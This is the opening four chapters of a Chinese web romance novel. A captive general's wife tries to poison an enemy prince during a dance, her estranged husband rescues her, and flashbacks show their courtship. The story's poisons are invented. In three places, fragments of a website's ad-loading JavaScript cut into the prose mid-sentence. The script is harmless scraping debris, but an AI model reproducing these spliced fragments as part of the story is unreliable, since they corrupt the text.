《权臣宠妻日常》 1. 第 01 章 前尘 “将军!” “边关急报!” 清影憧憧,月华如练。寂寥的暗夜里陡然传来一声疾呼,惊鸟四散。 昏朦的烛火次第燃起,满室红光,槛窗上新贴的喜字愈发刺目。门扇开合,清凉的夜风掠过芭蕉直入内室,榻前榴色罗帐轻曳。 赵念曦抱着双膝,乌发如瀑倾泻在海棠红寝衣上,惺忪的睡眼瞧向身侧尚有余温的锦褥,她喃喃问道:“出什么事了?” 侍女琉璃合上帘帐,轻声回禀才听来的消息。 “前线急报,边关接连失守,那西锦王子甚至扬言不出半载必灭了齐国。将军听了很是气怒,正欲入宫面见圣上。” 赵念曦闻言,并不觉意外。 以她这夫君骄矜孤傲的性子,哪里忍得这般屈辱,必是要连夜奏请带兵出征的。 婚前,夜君慎不是南下抗敌,便是入山剿匪。哪怕成了亲,或护卫帝王左右,或奉命抓贪官除奸佞,诸事纷杂,亦甚少回府。 细算起来,俩人见面的次数掰着手都数得过来。 赵念曦也曾不忿。无论佳节或是赴宴,别家夫妻皆是成双成对,携手出入,独她一个形单影只。 好在夜君慎身居高位,又得圣上恩宠,倒也无人敢与她脸色瞧。 偶尔不慎撞见公婆争执,抑或兄嫂掐架,她甚至开始习惯独守空房的日子。 一个人无争无吵的,多好呀。闲闷了,便邀上三五好友,游湖泛舟,倒也乐得自在。可惜,行至半途不是那家夫君下了朝来接夫人回府,便是这家郎君得了闲要携娘子远游…… 最后,又只余她一人,倚江对月。 眼下,丈夫又将出征,赵念曦不禁叹一口气,说不上开心,也谈不上难过。 熄了灯,满室寂静。 琉璃轻声道:“时辰还早呢,少夫人再睡会儿。” 赵念曦怔怔躺下,思绪却愈发清明起来。 不论私下如何怨怼,面上工夫终究还是得做的,当即吩咐人前去打点行装。 行军匆忙,能带的东西并不多,很快便收拾妥当。 望着眼前一小堆行囊,想到征战途中各种凶险,仍不免湿了眼眶。 门扇“吱”一声打开,男子身着绯色朝服,昂首阔步,稳健的身姿一如胸前猛虎,矫健的步伐踏着月色,匆匆而来。 赵念曦怔了一瞬,忙垂首掩泪,起身见礼。 面前忽递过来一副金泥蹀躞,微微抬眸,透过朦胧泪光瞥见眼前清隽冷厉的面庞上一闪而逝的笑意。 “帮我。”他道。 悄悄拭了泪,赵念曦起身接过蹀躞,绕至身后替他扣上。忽腰身一紧,一截有力的臂膀将她揽住带了起来。 垂眸瞧一眼梨花带泪的妻子,夜君慎淡声开口:“圣上赐了两座宅子,钥匙你也都有。无事便去住上几日,无人敢说什么。” 赵念曦暗自蹙眉,轻嗤一声。 心道,当面是不敢说什么,谁知背后怎么议论呢。不过,他亲自开了口,倒也无需顾忌了。 暖热的大掌贴着面颊,修长的指摩挲着如玉肌肤上一抹薄红,赵念曦长睫微颤,面色愈加红艳起来。 男子呼吸微重,低声喃喃: “等我,嗯?” 声音遥远而空旷,仿佛从天际传来。 画面一转,陡然变成血雨腥风,尸山堆积的战场。 旌旗染血,夜君慎身中数箭,手中仍紧握着一杆长枪,峻拔的身姿巍然挺立…… 啊…… 赵念曦挣扎着,猛然睁开眼眸。 冷风习习,昏黄的烛火轻曳,窗棂外,是淅淅索索的雨声。伴着少女压抑的呜咽,莫名渗人。 循声望去,见一约莫十六七岁的女孩儿仿如受惊的鹌鹑般蹲在暗黑的角落,一双黑曜的眼瞳正惶惶盯着自己,抽噎断续。窗边矮几旁,另一年纪相仿的女孩儿亦怔怔望过来。 赵念曦回过神,陌生的处境也让她陡然意识到,这里——是西锦王子夏侯桀的宫殿。 七年前,夜君慎身负重伤,惨败而还。 侯府上下人心惶惶,更有人私底下传新妇不吉。 要知道,夜君慎年少成名,十八岁单枪匹马闯敌营,斩敌军大将首级,二十岁上便封了骠骑将军,恨不得比他爹都要威风。 如此神勇的一员猛将却败给了西锦那群宵小,众人不能接受,自然而然便将错处归咎到了她这个新婚妻子身上。 她不在乎这些流言,仍尽心伺候丈夫汤药,除了劝慰忧虑过重的婆母,每日还得分出精力应付老夫人以及庶出兄嫂们的蓄意刁难。 她想,只要他能安然醒来,一切都是值得的。不论三个月五个月,还是三年五年,她都等得起。 未曾想,婆母一声令下,便将她送到庄子上“养病”。 彼时,父亲主张和亲遭帝后记恨,哪怕早已在护送公主途中命丧黄泉,却还是遭到清算,连原本高中探花,前途敞亮的长兄也被革职流放。 为寻父亲遗骸,她流落敌国,吃尽了苦头。而今,凶手近在咫尺,只恨自己势孤力薄,无力亲手杀了他一雪前耻! 缓缓垂眸,她轻声解释:“方才……做了个梦。吓到你们了?” 角落里的女孩儿继续啃咬着手指,未作回应。 另一女孩儿却是冷静异常,她轻嗤一声,面带不屑,“区区蛮夷,有何可惧的!大不了,一根白绫勒死也断不可做辱没家门之事。” 说罢,抬手咬破指尖,在残破的衣裙上写下血书。 掌心的银香囊里装了一粒毒丸,清甜的异香阵阵袭来,赵念曦哑然失笑。 这徐姑娘是将门之女,自有家族荣耀养成的一身风骨。而她…… 疾风呼号,陡然想起那个大雨滂沱的夜晚,父亲原本有机会冲出重围的,若非为了救她,怎会身首异处。 事未竟,她不可任性。 忽然,门扇大开,冷风裹挟着潮润的水气席卷进来,冻得人瑟瑟发抖。 灯影一暗,抬眸便见一身着蕉红莲纹百迭裙的美貌妇人缓缓踱步进来,肩上雪白的狐裘已叫微雨沾湿,泛着晶莹珠光。 在她身后,几名仆人亦步亦趋。 赵念曦缓缓垂眸,心中暗嗤一声。 这妇人原是肃王府一名歌姬,名唤姚玉兰。边关沦陷时,王府众人尽数被屠,这女子却踏着同胞尸骨,弹琴唱曲儿,承欢献媚,最终凭借绝色姿容博得西锦王子欢心,留下一条性命。为投其所好,又助其物色美人,教习歌舞。 忽而意识到什么,嘴角的笑不由僵住。 她亦是从尸骨堆里爬出来的,为了活命,丝毫不敢透露自身身份,甚至改名换姓,连至亲也不能相认。 都是苟且偷生,自己与她,又有何区别呢? 妇人薄唇微挑,睥睨的目光一一扫过殿内几人,而后勾唇一笑, “你们,可都想好了?” 闻言,原本跪伏于矮几旁的女孩儿冷笑着,缓缓起身,锐利的目光彷如尖刀一般,直欲将眼前人戳出几个血窟窿来。 她语含讥屑,轻蔑道:“还未交战呢,你便急着拿自己人投诚了?!那狗贼许了你什么好处?让您老这般卖力,连家仇国恨都忘了?!” “家仇国恨?啊哈哈哈……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妇人长笑一声,讥屑道,“你不说,我倒忘了。 在王府,我不过是个低贱的伶人。家仇国恨,与我何干?!” 纤长的指伸向面前女子,她哂笑道:“你我,都是一样的。一样被他们踩在脚底,肆意践踏……” 指尖即将触到下颌肌肤时,赵念曦忽觉浑身汗毛倒竖,凝眉撇过头,不动声色避开那抹魅惑人心的目光。 妇人淡笑着,转身时手中团扇顺势抬起身侧女孩儿下颌,继而嗤笑道:“左右没有退路,不如,另择明主。” “呸!” 女孩儿啐一声,斥道:“大将军的兵马很快就会踏平此地,到时只怕你两头都落不着好,不知怎么死呢!” 妇人闻言,并不气恼,她浅笑着,缓缓道:“徐姑娘果然有股子傲气,只可惜…… 你们威名赫赫的大将军,他不会来了。” 赵念曦闻言,眸光一暗。 七年前,夜君慎便是兵败于这数百里黄沙。 后来虽重振旗鼓,接连收复凉州等数座城池,却也未再多进一步。 眼下,三十万大军已在五百里外的榆州驻守半月却迟迟没有继续进攻的意思。 夏侯桀更因此断定,夜君慎绝不敢越过大漠,再次来袭!于是,广罗美女,纵情声色。 妇人悠悠转身,怅然一叹,“区区几名毫无利用价值的弱女子,那些将士怎会不惜生死,踏着这千里黄沙冒险来救你们? “与其白日做梦,不如细想今后出路。能唱曲儿也好,会作舞也成……” 说到此处,她抬眸看向眼前姑娘,“早听闻徐姑娘一舞倾城,今日,若能获殿下欢心,可得赏金千两……” 徐令仪冷冷一笑,“本小姐又不是舞姬,为一个蛮人献舞,做他的春秋大梦去吧…… “要去,你们去。我是宁死也不去的。” 妇人闻言不禁沉下脸来,而后朝身边一壮仆使个眼色。那仆妇握着长鞭,狞笑着抬步上前。 “徐姑娘,你该知道,惹恼了殿下,小心落得个生死不如的下场,那时候,可没有人会同情于你,更无人替你歌功颂德哦。” 女孩儿梗着脖子,一动不动。“我说了不去就是不去,哪怕你们逼死我。” “呵——这可是你自找的。” 妇人动了怒,手中长鞭如游龙般挥了过来。 女孩儿却僵着身子,连躲避也不肯。她冷冷道:“你们索性打死我好了。” 赵念曦默默立在一旁,不知想到什么,忽然抬手,纤长的指牢牢握住那截蟒皮鞭。 在妇人惊愕的目光中,她淡声道:“姑姑勿要生气,打坏了人,你也不好交差不是?” 轻轻垂眸,又道,“我去。” 身后传来一声轻嗤,赵念曦面色淡淡,未做理会。 “还是这姑娘听劝。”妇人挑眉一笑,又问:“叫什么名字?” 赵念曦毫不犹豫吐出两字, “莲娘。” 犀利的眸光在她面上来回打量,片刻后满意颔首,“会些什么?” 待字闺中时,赵念曦便精于琴艺,书画歌舞亦略习得一些,清甜的异香时不时在鼻尖萦绕,心中忽生一计。 抿了抿唇,淡声道:“学过些舞。” 妇人松一口气,轻笑:“好!甚好! “跟我来。” 幽暗的长空下,是一眼望不到头的恢宏殿宇。偶有苍鹰临空盘旋,似暗暗监视“囚犯”的狱卒。 眼前的路是距离弑父仇人最近的一次机会,绝不可坐以待毙。 哪怕不能一举杀了他…… 2. 第 02 章 献舞 绵绵细雨遮天蔽日,殿内燃了数盏灯仍旧昏暗不已。 镜台前清影摇曳,女子头挽飞天髻,珠围翠绕,飘飘欲仙。轻执螺黛,将一弯细眉描摹成远山状,眼尾添一抹斜红,妍姿昳丽。 下人在廊下催促,赵念曦换好舞裙,覆上薄纱。 穿过重重长廊,登上数层高阶方至宴席所在的重华殿。甫一入内,便有暖气迎面扑来,浑不似外间那般阴冷的景象。 篝火熊熊燃烧,炙烤羊肉滋滋冒着油泡,焦香扑鼻。上首鎏金宝座上斜倚着一男子,他一手支着下颌,姿态慵懒肆意。面前醵青色锦毯上堆满了金色蜜瓜,脆甜香梨,还有鲜美的酸□□…… 时隔七年,再次见到那张冷血的面庞时,赵念曦只觉浑身血液仿佛凝固般,僵着身子动弹不得。 “莲娘……” 姚玉兰朝这边使了个眼色,焦急催促。 赵念曦回过神,缓缓垂眸,掩下眼底暗藏的杀意。 玉足轻旋,衣袂翩跹,灵巧的身姿彷如夜空下陡然绽放的娇艳海棠。 她轻敛衣裙,柔婉行礼。垂首时,乌发上粉嫩的珍珠步摇在两鬓打着秋千。 夏侯桀轻晃着酒盅里的琼浆玉液,勾唇一笑,“摘下面纱。” 赵念曦缓缓起身,轻笑,“殿下,待跳完这支舞,再取不迟。” 轻柔的嗓音,绵软酥骨。 男子拊掌大笑,“好,准了。” 一时,篝火愈旺,呼喝声震天。 清冽的琴音初起,那声音便跟着沉了下去,四下只余乐声铮铮。 莲步轻移,水袖舒展,转眸间眼波盈盈。腕花轻挽,染了丹蔻的指彷如山间幽兰,娇艳欲滴。 身姿回旋,十尺红绸如蝶翼翩跹,抛袖时,又如长虹贯日,及至顶空,赤色花瓣忽如烟火般在冷寂的夜空中绽放。 落英纷纷,冷香扑鼻。 一声声喝彩接连不断,赵念曦微微转眸,清冷的目光漫不经心瞥一眼上首之人,便见那人握着酒盅,缓缓离席踱步过来。 合眸,转身,掌心的银香囊已叫冷汗沾湿,赵念曦屏息凝神,不动声色数着愈加临近的步伐, 三……二……一…… 一步,只差一步就可以毒杀了他,为父亲报仇。赵念曦面色冷凝,只觉心跳砰砰。 正此时,忽听“嗖”的一声,有冷箭从身后袭来。 将欲踏上高台的脚步陡然顿住,夏侯桀目光一凝,翻身躲过偷袭。 顷刻间,锋锐的箭簇“铮”一声击穿石阶。 赵念曦攥着指尖,满目失望。 匆匆回身,便见数支利箭接连袭来,破空声不绝于耳。伴着一声声呼喝,十余名铠甲武装的军士接连冲入殿内,来势汹汹。 “有刺客!” “护驾!” 霎时,围观之人逃的逃,散的散,场上乱做一团。 仓促间,赵念曦亦叫人流裹挟着往前。凝眉瞥一眼殿中正与人缠斗的黑影,不由惊愕…… 果然……是他! 那人虽戴了金色蟠虺纹面具,却也认得出大半面容。 七年前,他孤身闯敌营,重伤惨败;而今竟丝毫不长记性,仍旧来这一招,也不怕自己身陷狼窝,无力回还。 眼下刀光剑影,赵念曦只求自保无意与人攀扯旧情。况且,以那人孤傲的性子,想来更怕她身份暴露,当众丢脸罢。 将欲伺机退下,不料被人拦住去路。 少年头裹黑巾,身穿藏蓝织花外裳,冷白的面皮上用赤青两色描着诡异图腾。 修长的指随手捻起一瓣落花,放至鼻尖轻嗅, “曼陀罗?” “能解毒,可致幻。” 赵念曦暗暗一惊。 他,发现了? 瞥一眼少年仿佛洞察一切的幽暗目光,她顿了顿,摆出一副茫然之态,“不明白你在说什么。” “哦?” 少年缓步上前,胸前满坠的银饰叮当作响。他面容冷沉,慵懒的声音缓缓道: “这位姑娘舞跳得不错。” “我记得你曾说过,一舞之后,会取下面纱……” 说罢,抬步过来。 赵念曦下意识后退,顷刻间,锋锐的弯刀泛着冷寒光泽迅疾逼近。 抬袖时,赤色红绸被削得粉碎。她微微垂眸,掌心的银香囊脱手而出,撞上利刃的瞬间立即四分五裂。 少年瞥一眼弥漫空中的月色薄雾,他弯了弯唇,嘴角牵起一丝讥屑笑意,“果然如我所料,不过…… “我有百毒不侵之体,这些把戏,于我而言不过似小孩儿过家家一样可笑。” 赵念曦闻言,不由凝眉。 听说,夏侯桀身边有一能人,擅百毒,没想到竟是这年轻人。初次出手就撞见了他,当真失算。 少年从怀中取出一粒鸽蛋大小的赤色药丸,勾唇一笑,“我这里也有一样东西。” 踏着悠闲的步伐,他缓缓逼近。 “此物名叫‘烈焰红莲’,凡中毒者,浑身似烈焰灼烧,但不会即刻死去,而是在漫长的痛苦与恐惧中,泣血而亡。” “此毒之烈,放眼天下尚无人能解。” 他喃喃着,略有几分得意。 赵念曦瞥一眼身前愈加逼近的暗影,惶惶抬眸打量周遭,但见西锦士兵渐次倒下,夏侯桀亦节节败退……也不是没有胜算的,只要能撑过眼前这关。 可惜最后一颗毒丸已经用尽,若当真对这少年无用,她再无力招架。 不动声色后退几步,肩背撞上坚硬的石壁,心中“咯噔”一声暗道不好。 少年疾步逼近,忽觉一股莫名痛意传遍四肢百骸。 “呃……” 一声痛吟,他陡然变了脸色,而后呛咳着吐出一口鲜血。 “不可能!” 少年抬手拭去唇角血迹,紧蹙着眉仿佛不可置信。忽然抬头,黝黑的眸子里暗藏杀意。 “你到底是什么人?” 赵念曦目光一沉,只觉心跳咚咚。 他,毒发了? 方才不是还说百毒不侵? 凝眉细想,心道,果然还是师父更胜一筹。她轻轻开口,悠悠说道: “此毒名为‘雪艳冰姬’,它可循着人的肌肤,钻入四肢百骸,最终抵达脏腑,令人暴毙而亡…… 肆意妄动,只会加快毒液侵袭,劝你最好勿要乱来。” 少年闻言,眉头紧皱,试着运气,忽觉痛意袭遍全身,顿时不敢再动弹。 瞥一眼独自挣扎的少年,赵念曦暗松一口气。将欲跃下高台,忽觉身后一阵疾风袭来,而后脖颈一凉。 垂眸,冷寒的长刀紧贴在下颌,顿时屏息凝神,连呼吸都不敢加重。 “本事不小嘛!” 男子手握长刀,狠厉的眸光瞥一眼倒地少年,夏侯桀面目狰狞,一如记忆中那般可怖。 “方才,想这样杀了我?嗯?” 冷厉的声音仿若鬼魅在耳旁低喃,赵念曦并不想激怒他。眼下手无寸铁,若当真交手, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她毫无胜算。忽觉面上一凉,缚在脸上的薄纱已叫人扯下。 那人明显一怔,诧异道:“是你?” 赵念曦目光一凛,心中惴惴不安。 若此刻叫人认出…… 不! 纤长的指重又理好面纱,她弯了弯唇,极力保持镇定,“又见面了,殿下?!” 男子轻嗤一声,“七年前没能杀了我,你竟还不死心。” 赵念曦淡淡一笑,“技不如人,让殿下见笑了。不过……” “今时不同往日。现下就算你杀了我,只会有更多人为我报仇雪恨。” 说话间,身披铠甲的军士已围拢过来,手中利刃银光烁烁。 男子抬眸,阴鸷的目光轻扫一眼占据上风的齐国军士,忽而狂肆大笑,魅惑的声音缓缓道:“为他们做饵……你猜,他们会不会放下屠刀,舍命救你?” 赵念曦缓缓合眸,轻笑。 越过黑压压的人群,只匆匆一眼便能瞧清那人面容。 可咫尺之距,堪比鸿沟。 那人历来公私分明,又重军纪,此刻若拿私事扰他,无疑是自取其辱。 “要让殿下失望了,我不过一弱女子,有什么能比战场输赢更重要的!” 此行,她并未抱有过多期冀,眼下形势已比预想中的结果要强得多,她,并无遗憾。 “哦?” 男子忽而低笑,信誓旦旦承诺,“他们若当真不救你,我便大发慈悲,放你一条生路。如何?” 高台下,身披虎纹甲胄的男子缓步踏上石阶,赤金面具在灼灼火光下尤为醒目。他姿态从容,一如围观困兽的顶级猎手。 看着愈加逼近的步伐,夏侯桀怒声呵斥,“再上前一步,我即刻杀了她。” 手中长刀不自觉使力,霎时,冷白的肌肤上冒出一串血痕。 赵念曦凝眉轻哼一声,咬牙忍下痛意。 她知道,夜君慎不会停手的。 七年前,他败于夏侯桀之手,此刻,想要一血前耻之心远胜其他。如何会因一妇人便置将士性命于不顾。 哪怕公开身份,他亦未必就此收手。就像,他能冷眼看着兄长含冤流放…… 轻轻垂眸,眼底恨意涌动。 稳沉的脚步陡然停了下来,夜君慎单手解了腰间佩剑,扔下高台,冷厉的声音缓缓道: “男人之间的纷争,何须牵涉女人。” 嘲讽的目光凝在眼前男子身上,他轻嗤一声, “莫怪世人瞧你不起。” 泛着泪光的眼眸忽然睁开,赵念曦恍然抬头,几乎不可置信。 “呵!” 夏侯桀气笑了。 沉吟一瞬,他亦扔了手中长刀,起身,轻蔑的目光打量着眼前狂肆傲慢的男子,满面不屑,“一个手下败将,还敢如此口出狂言。” 他率先出手,冷冷道:“今日,能让你活着离开,便算我无能。” 然而,几招下来已叫人揍了个鼻青脸肿。 夜君慎轻笑着,淡声道:“今日,打个赌如何? “三日内,你若能守住王庭,便算我输。从此,我再不踏入大漠半步!” 此处宫殿距离西锦君王所在的王庭不过三百余里,这般说来,夜君慎很有可能已分兵突袭王庭。 夏侯桀闻言,自然怒不可遏,二人又是一番纠缠…… 高台狭小逼仄,赵念曦几次险遭波及,避至角落时忽闻一阵细微的银饰叮当声。 转头,瞥见一抹鬼祟的暗影。 3. 第 03 章 凤钗 是……那个少年! 但见他挣扎着起身,将手中那粒鸽蛋大小的赤色药丸放进弹弓上的皮囊,眯眼。 赵念曦瞥一眼少年瞄准的方向,心下一沉,下意识抬手,红绸水袖划过赤金面具,挡下那粒毒丸。 霎时,赤色薄雾弥漫空中。 暗暗凝眉,她叮嘱道:“有毒,别闻。” 心道,这少年自称有百毒不侵之体却仍中了师父的毒,那“烈焰红莲”或许并不如他说的那般厉害。 抬手解下面纱递向身后之人,赵念曦淡声道:“这是星椤纱,用数十种药草制成,有化解百毒之效。” 夜君慎接过面纱,轻嗅,确有草药的清香。 抬首看向避至角落里的夏侯桀时,忽轻蔑一笑,“夏侯兄还是这般,惯会使这些见不得人的阴损招数么?!” 夏侯桀狂肆笑着,咬牙切齿,“今夜,你们皆会葬身于此,没有人会知道发生了什么。” 转身之际,赤色药丸如干枯豆荚里的豆子般弹射过来。 “撤!” 一声疾呼,夜君慎已伸臂揽住身侧女子,跃下高台。瞧一眼手中月色薄纱,匆匆将人往将士跟前一塞,便朝着夏侯等人追了上去。 * 月落星沉,万籁俱寂。 幽暗的夜空下,陡然传来阵阵马蹄声。 “是……援军来了!” 随着衣甲霍霍之声,数百铁骑涌上前来。 那将士提了剑,抬手招来一人,扬声吩咐:“看着她。” 小士兵望一眼渐渐远去的队伍,焦急不已。 好容易等来的立功机会,怎能轻易错过。挠了挠头,取了腰间钱袋往女子手中一塞,他匆匆道:“姑娘,援军已经包围了整座宫殿,外面已无甚危险了。你找个地儿,暂且避一避。” 说罢,策马扬鞭,沙尘四起。 赵念曦轻咳几声,忽听一阵哀嚎,而后见一蓬头散发的妇人奔逃出殿门。 看衣着,是……姚玉兰? 在她身后,一女孩儿手握长鞭,紧追不舍。赵念曦摇了摇头,不禁失笑,果真世事无常。 摸黑到了马厩,里面只零星拴着几匹马。 挑来拣去,终于找了匹四肢健全的老马出来,不料,还未近身那马竟癫狂起来,根本不允人触碰。 赵念曦其实并不太会骑马,见了此景一时竟毫无办法。 “笨死了。” 随着一声轻嗤,从暗处走来一女孩儿,正是徐令仪。 自赵念曦手中接过缰绳,她一面抚摸着老马脖颈上的鬃毛徐徐安抚,一面取了饵饼喂马,终于哄着老马出了马厩。 一个利落翻身,那马儿竟顺从地载着她驰骋起来。 赵念曦凝眉回头,瞧向马厩时无奈叹息一声。余下的马匹不是有伤就是病残,再挑不出一匹像样的来。 “吁——” 一声呼喝,女孩儿纵马兜了个圈儿,在马厩前停下。她抱着臂膀,淡淡道:“上来吧。” 赵念曦怔了怔,明白她这是要捎上自己,微微一笑握住女孩儿的手上马。 黑夜渐渐散去,天边露出一丝鱼肚白。 徐令仪扬了扬鞭,头也不回问道:“去哪儿?” 因师父历来不喜生人,赵念曦无意暴露他的居所,便只报了个模糊的地名。 余下的路,徒步即可。 * 翌日,夜君慎率军突袭西锦王宫,老君王被斩,多名王族重臣被俘,那夏侯桀虽率部逃脱,可惜只余残兵败将,终掀不起什么大浪来。 捷报传至京城,朝廷犒赏三军的旨意连夜送抵边关,夜君慎获封定远侯,封赏无数。 他下令大开城门,数万因战乱流离失所之人陆续踏上回乡之路。 * 青风袅袅,细雨蒙蒙。 庭前杏花葳蕤盛放,粉嫩的花瓣纷扬着,陷入泥泞很快又叫雨滴碾碎。 忽然眼前一暗,窗扇叫人合上。 微微抬眸,见一身着醵青色云纹短袄的老者缓步进来,徐徐叮嘱,“你大病未愈,还是不要见风的好。” 赵念曦点头应下,微微笑道:“吃了您的药,我已好多了。” 将欲起身,却叫人按回椅中。 老者将手中瓦罐轻搁在案上,缓缓坐下,稳沉的目光落在眼前苍白的面颊上,打量片刻后不禁暗叹一声。 “断药半月,亏得你还有命回来。” 苍劲的嗓音里带着一丝担忧与庆幸。他从药箱里取了一方纱巾,道:“手伸出来,我再给你瞧瞧。” 赵念曦顺从地伸了手,坐得端正。 老者诊了脉,却拧起眉来。 “虽说有些棘手,倒也不是全无希望。”沉吟片刻后,微微叹息一声,“且容我想想法子。” 连师父都说棘手,可见…… 眼睫轻颤,赵念曦微微颔首,“我知道了。” 顿了顿,忽然笑起来,眸光晶亮。“有师父在,我不怕。” 老者哭笑不得,指了指瓦罐里的乳鸽汤,“快趁热吃吧。” 汤里照常加了党参、黄芪、枸杞等益气补血药材,不咸不淡,不油不腻,小小一罐,香浓软糯。 赵念曦盛了一小碗汤,忽然眼眶湿濡。抬眸看向老者,她喃喃道:“师父,我是不是花了你好多银子?” 老者凝起眉,面色一沉,“好端端的,怎么又说起这个来。” 赵念曦瞧他面色不虞,讪讪垂眸,闷头喝汤。 “师父。” 沉吟许久,她缓缓开口:“我,想回家一趟。” 自大婚后,她便再未见过兄长。后来听说他被革职流放,而今已近七年,生死未卜,她得回去看看。 老者静默片刻,喃喃道:“是啊,也该回去了。” 临别那日,他留下一枚碧色瓷瓶,再三叮嘱,“往后,记得按时辰服药。” “还有……”从怀中取出一墨色锦盒,又道,“你要的东西。” 赵念曦打开锦盒,里面是一支赤金凤钗,做工精细,栩栩如生。 与她所绘纹样几乎无甚差别。 熟悉的物件让她陡然想起那个阳光明媚的夏日…… * 承武三年,夏 时值五月,牡丹破萼,樱桃正红。 赵念曦懒懒倚在青色石桥边,看瘦竹清泉,鱼戏莲花。湿润的风掠过湖面,斑驳竹影摇曳一地。 今日,淮阴侯府为老夫人贺七十大寿,正好嫡孙弱冠之年还未婚配,便将京中叫得出名儿的贵女邀了个遍。 赵念曦身为尚书府嫡小姐,自然也在受邀之列。 她虽入京不久,却也结交了几个闺中蜜友,行飞花令时硬生被灌了好几盅梨花酿。 赵念曦面颊微红,头也晕乎乎的,未免扫兴便借着更衣的间隙出来园子里透气。 凉风一吹,果然清爽不少。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纤指捻起几粒鱼食,缠枝纹云锦广袖下,一对暖白玉镯似泉水叮咚。水面涟漪轻漾,四五条肥硕锦鲤翻腾着湖水争相夺食。 “小姐你看。”琉璃抬手指了指对面一丛绿植,“好大的樱桃。” 赵念曦举扇一瞧,随即笑道,“去看看。” 将提起裙裾,谁知一不留神撞到一高大挺拔的男子身上。歉然抬眸,见那人手扶腰间宝剑,眉目冷峻,一副拒人千里之外的神情。 一瞧便知是个不好惹的主儿,赵念曦匆匆退至一旁,酒也醒了几分。想到这日来侯府贺寿的宾客繁多,一时也不知该如何称呼,便只屈膝行了礼。 好在那人并不怪罪,赵念曦松一口气,欲悄悄退下。 擦身而过之际,却被人叫住。 “姑娘发钗掉了。” 清冷的声音自身后传来,赵念曦懵然回头,见那人手中握着一支珍珠发钗。她抬手摸了摸空空的发髻,缓缓伸出手去。 “多谢。” 那人却将手腕一转,发钗便如同暗器般在他指尖转了个圈儿。 “可惜,摔坏了。” 男子垂眸,淡声道,“姑娘府上何处?我命工匠修好了改日送到府上去。” 赵念曦再蠢笨也察觉到不妥,纤细的眉头轻皱起来,不由冷了语气回道:“是我自己不小心,不好劳动您。” 那人却似未曾听见一般,往周遭眺望一眼,转身过来时冷峻的脸上暗含歉意,“此处未见下人跟随照应,是侯府招待不周了。” 说着,立即吩咐侍从过来。一时丫鬟婆子围了一圈儿,纷纷引着赵念曦去前边儿亭子里玩耍。 赵念曦从侍女们口中才知晓那人便是大齐威名赫赫,勇冠三军的骠骑将军,夜君慎。 据说此人冷厉无情,连德安长公主的示好都敢直言拒绝。这样神勇磊落的一个人,又怎会在一支发钗的事情上留心。 赵念曦心中生起些许愧疚,心道,是她多虑了。于是很快便将此事抛诸脑后。 翌日,那人果真派人送了发钗到府上。 赵念曦打开锦盒,只见里面装着一对口衔金珠的赤金凤钗,镶着五色宝石,流光溢彩。 这发钗实在精致,却不是她丢的那一支。 缓缓扣上锦盒,她讪讪道:“许是贵人事忙,拿错了罢。” 下人笑回:“连带发钗一起送到府上的,还有淮阴侯府的求婚书,哪里会错呢!” 一旁品茗的姊妹们纷纷探过头来,“这发钗可不似敷衍,一瞧就是好东西。” 随即长“哦”一声调笑道:“看来——将军是蓄谋已久啊。” 赵念曦霎时反应过来,不由低啐一声“无赖”! 姊妹们戳着她莹润的脸颊,戏谑道:“只问你喜不喜欢?!” 赵念曦以帕掩面,羞得脸都红了。 然世间事偏不如人所愿,新婚不过半载,夜君慎在征战时身负重伤,惨败而还。 婆母听信了“克夫”的传言,为了救子,设计将她送至庄子上“养病”。 而今,物是人非。 她家破人亡,流落异乡;他功成名遂,却眼睁睁看她父兄落难,继室娶了一个又一个。 凭什么! 缓缓扣上锦盒,赵念曦目光盈盈,感激道:“师父,待我寻到家人,必定请他报答于你。” 老者闻言,轻抚着下颌长须仰头一笑,“那我便在此等候你的好消息。” 4. 第 04 章 入城 * 承武十一年,春。 淮阴侯嫡子、骠骑大将军夜君慎大败敌寇收复故土,举国欢庆。 黄沙漫天,巍峨高峻的城门前人山人海。 历经数十年战乱,当初意气高昂,发誓不破外寇绝不还朝的少年郎们已成了白发苍苍的老者,他们相拥着落泪,纷纷感慨终于盼到了归乡这一日。 怀抱中的稚童尚不知何为“故乡”,只嚷着要吃祖父说过无数次的糖葫芦。 “好好好!” 老人抹一把泪,皲裂的手指向城门欣喜道:“那里就是榆州,待会儿进了城祖父带你去吃糖葫芦,糯米甜糕,还有爆米花儿。晚上,咱们去看花灯,一定热闹的很呐!” 稚童听罢,大声嬉笑起来,“好耶!好耶!我要吃甜糕……” 守卫查验身份后很快放了行,祖孙俩欢喜的面容渐渐淹没在人潮中。 赵念曦攥着包袱,默默收回视线。清冷的眸子里,透着一丝不安与踌躇。 “莲娘!” 熙攘的人群里,一约莫二十出头的姑娘高扬着手招呼同乡,“莲娘!这里这里!” 赵念曦怔怔抬头,叫那姑娘一把拉至身前。 “你怎么才来!”姑娘嬉笑着抱怨,又转头朝身后之人致歉。 赵念曦抿了抿唇,未做解释。 云舒在齐国尚有亲眷,能安然回乡当然开心。但是她…… 父亲身死获罪,兄长亦被流放岭南,多年离散,音信全无。 长路漫漫,一无钱财,二无人脉,想要打听兄长下落无异于大海捞针。若要救他出来,更是难如登天。 曾经的夫君已凭赫赫战功封候拜将,手握大权。 她,该去求他吗? 那人历来公私分明,又重法纪,若拿私事扰他,必定无甚结果,甚至反遭羞辱。 可若不如此,再想不出旁的法子来。 云舒回过头,瞥一眼赵念曦哀戚的神色,她大方道:“你没有亲眷,不如先和我一起回家。阿兄进城之前还特意嘱咐我,说你身子不好,让我多多照应你。” 赵念曦微微抬眸,投去一个歉意的眼神而后摇了摇头。她是罪臣之女,一旦身份暴露不仅自身性命难保,还会连累身边人,是以并未打算与人同行。 云舒絮絮叨叨,仍极力劝说, “我爹娘可好了!” “小时候我弄丢了羊,他们也没有责骂我,还怕我找不到回家的路带着满村子人四处寻我……” 忽然,队伍前边儿传出一声惊呼,人群霎时乌泱泱朝后涌。 “让开!让开!” 官兵握着长矛清出一条道来,而后见一满脸血污的男子被人抬走。 “怎么了?” 围观之人纷纷侧目,有知晓真相的便低声解释,“是奸细!冒充我们齐国人被杀了。” 众人愤慨不已,纷纷责骂敌寇狼子野心,又扬声赞叹军爷睿智威武。 云舒仍在喋喋不休,丝毫未留意到军士加严了戒备,开始搜身。 